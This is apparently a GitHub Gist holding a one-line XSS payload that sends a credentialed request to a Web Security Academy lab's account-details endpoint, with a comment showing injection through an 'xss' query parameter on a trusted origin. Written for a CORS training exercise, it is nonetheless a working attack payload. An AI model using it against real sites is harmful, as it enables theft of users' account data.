Skip to content

Instantly share code, notes, and snippets.

@enderphan94

enderphan94/xss_cors.js

Created August 13, 2020 14:20
Show Gist options
  • Save enderphan94/92424bd4207015de54cf2866e982a2bb to your computer and use it in GitHub Desktop.
Save enderphan94/92424bd4207015de54cf2866e982a2bb to your computer and use it in GitHub Desktop.
Download ZIP
XSS CORS payload in one line #xss #cors
Raw
xss_cors.js
<script>var req = new XMLHttpRequest(); req.open('get','https://acb01fc81f8f9958806a0dee004900a5.web-security-academy.net/accountDetails',true); req.withCredentials = true; req.send();</script>
//https://trusted-origin.example.com/?xss=<script>CORS-ATTACK-PAYLOAD</script>
//if it does not pop-up, double-check in the console
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment